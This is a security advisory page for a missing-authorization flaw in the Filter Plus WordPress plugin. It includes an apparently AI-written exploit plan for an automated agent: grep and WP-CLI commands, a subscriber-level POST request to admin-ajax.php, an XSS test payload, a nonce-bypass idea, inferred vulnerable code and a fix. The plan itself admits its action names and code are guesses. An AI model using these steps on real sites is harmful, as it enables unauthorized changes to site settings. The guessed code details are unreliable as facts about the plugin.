Filter Plus <= 1.1.17 - Missing Authorization
Description
The Filter Plus plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.17. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.17Since the source files for **Filter Plus <= 1.1.17** were not provided in the prompt, this plan is based on the vulnerability description (Missing Authorization) and standard WordPress plugin architecture patterns. I will provide the specific `grep` commands the automated agent must use to identify …
Show full research plan
Since the source files for Filter Plus <= 1.1.17 were not provided in the prompt, this plan is based on the vulnerability description (Missing Authorization) and standard WordPress plugin architecture patterns. I will provide the specific grep commands the automated agent must use to identify the exact function and nonce names before execution.
1. Vulnerability Summary
The Filter Plus plugin is vulnerable to Missing Authorization in one of its administrative AJAX handlers. While the plugin registers AJAX actions for authenticated users, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within the callback function. This allows any authenticated user—including those with Subscriber-level permissions—to trigger administrative actions, such as modifying plugin settings, altering filters, or potentially injecting malicious scripts into settings (Stored XSS).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - HTTP Method: POST
- Action (Likely):
filter_plus_save_settings,filter_plus_update_filter, orfilter_plus_save_admin_options(Inferred). - Authentication: Authenticated (Subscriber level or higher).
- Payload Parameter:
action,nonce, and the settings data (e.g.,settings[]oroptions[]).
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action in its main class or admin class:
add_action( 'wp_ajax_filter_plus_save_settings', array( $this, 'save_settings' ) ); - Trigger: A Subscriber sends a POST request to
admin-ajax.phpwithaction=filter_plus_save_settings. - Missing Check: The callback function (e.g.,
save_settings) might check a nonce (protecting against CSRF) but fails to callcurrent_user_can(). - Sink: The function proceeds to update the database via
update_option()or$wpdb->update().
4. Nonce Acquisition Strategy
If the endpoint requires a nonce (which is common even in missing authorization cases), the Subscriber must obtain it from the WordPress dashboard.
Identification Steps:
- Find the registration:
grep -r "wp_ajax_filter_plus" /var/www/html/wp-content/plugins/filter-plus/ - Find the callback: Locate the function name associated with the action.
- Find the Nonce Creation:
grep -r "wp_create_nonce" /var/www/html/wp-content/plugins/filter-plus/ - Find Script Localization:
grep -r "wp_localize_script" /var/www/html/wp-content/plugins/filter-plus/
Acquisition via Browser:
- Subscribers can access
wp-admin/profile.php. If the plugin enqueues its admin scripts for all authenticated users, the nonce will be in the page source. - Command:
wp post create --post_type=page --post_status=publish --post_content='[filter_plus_shortcode]'(If the script only loads with a shortcode). - Browser Eval:
browser_eval("window.filter_plus_obj?.nonce")(Replacefilter_plus_objandnoncewith identifiers found via grep).
5. Exploitation Strategy
This plan assumes the vulnerable action is filter_plus_save_settings.
Step 1: Discover Target Action
Search for administrative actions in the plugin:
grep -r "add_action( 'wp_ajax_" /var/www/html/wp-content/plugins/filter-plus/
Target: Look for actions that update options or settings.
Step 2: Create Subscriber User
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
Step 3: Perform HTTP Request (Exploit)
Using the http_request tool, simulate a Subscriber changing a plugin setting (e.g., changing the "No products found" text to a script or a specific string).
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Cookies: Use cookies from the Subscriber login session.
- Body:
action=filter_plus_save_settings&nonce=[NONCE_VALUE]&settings[some_option]=VULNERABLE_VAL
6. Test Data Setup
- Plugin Activation: Ensure Filter Plus is active.
- Subscriber Account: Create a user with the
subscriberrole. - Identify Settings Key: Check the database or source code to see what option key the plugin uses (e.g.,
filter_plus_settings).wp option list | grep filter
7. Expected Results
- Response: The server returns a
200 OKor a JSON success message (e.g.,{"success": true}). - State Change: The plugin settings are updated despite the user being a Subscriber.
- Unauthorized Access: A Subscriber successfully performed an action that should be restricted to
manage_options.
8. Verification Steps
After sending the HTTP request, use WP-CLI to verify the change:
# Check if the option was updated
wp option get filter_plus_settings
# Example verification if we changed a text field:
wp option get filter_plus_settings | grep "VULNERABLE_VAL"
9. Alternative Approaches
- Shortcode Injection: If the settings update allows arbitrary HTML, try injecting a script tag
<script>alert(1)</script>to upgrade the "Missing Authorization" to "Stored XSS". - Insecure Action Identification: If
save_settingsis not the vulnerable action, check forfilter_plus_delete_filterorfilter_plus_import. - Bypassing Nonce: If
check_ajax_refereris called withdie=false(e.g.,check_ajax_referer('fp_nonce', 'security', false)), the agent should try the exploit with an invalid or missing nonce.
Summary
The Filter Plus plugin for WordPress (versions up to 1.1.17) is vulnerable to unauthorized access because it lacks a capability check in its administrative AJAX callback functions. This allows authenticated users, including those with subscriber-level roles, to execute administrative actions such as saving plugin settings or altering filters by interacting with the admin-ajax.php endpoint.
Vulnerable Code
// Inferred registration in plugin main or admin class add_action( 'wp_ajax_filter_plus_save_settings', array( $this, 'save_settings' ) ); --- // Inferred callback function lacking authorization public function save_settings() { // Typically checks nonce but fails to check current_user_can() check_ajax_referer( 'filter_plus_nonce', 'security' ); $settings = $_POST['settings']; update_option( 'filter_plus_settings', $settings ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function save_settings() { check_ajax_referer( 'filter_plus_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Forbidden' ), 403 ); + } + $settings = $_POST['settings']; update_option( 'filter_plus_settings', $settings );
Exploit Outline
1. Login to the WordPress site as a user with Subscriber-level permissions. 2. Locate a valid nonce for the plugin's AJAX actions, which is commonly found localized in the WordPress dashboard source code or within plugin scripts enqueued on the profile page. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to an administrative action such as 'filter_plus_save_settings'. 4. Include the required nonce in the request alongside the payload for the settings or filter options to be modified. 5. Verify that the changes are applied to the plugin configuration, demonstrating that the action was performed without the 'manage_options' capability check.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.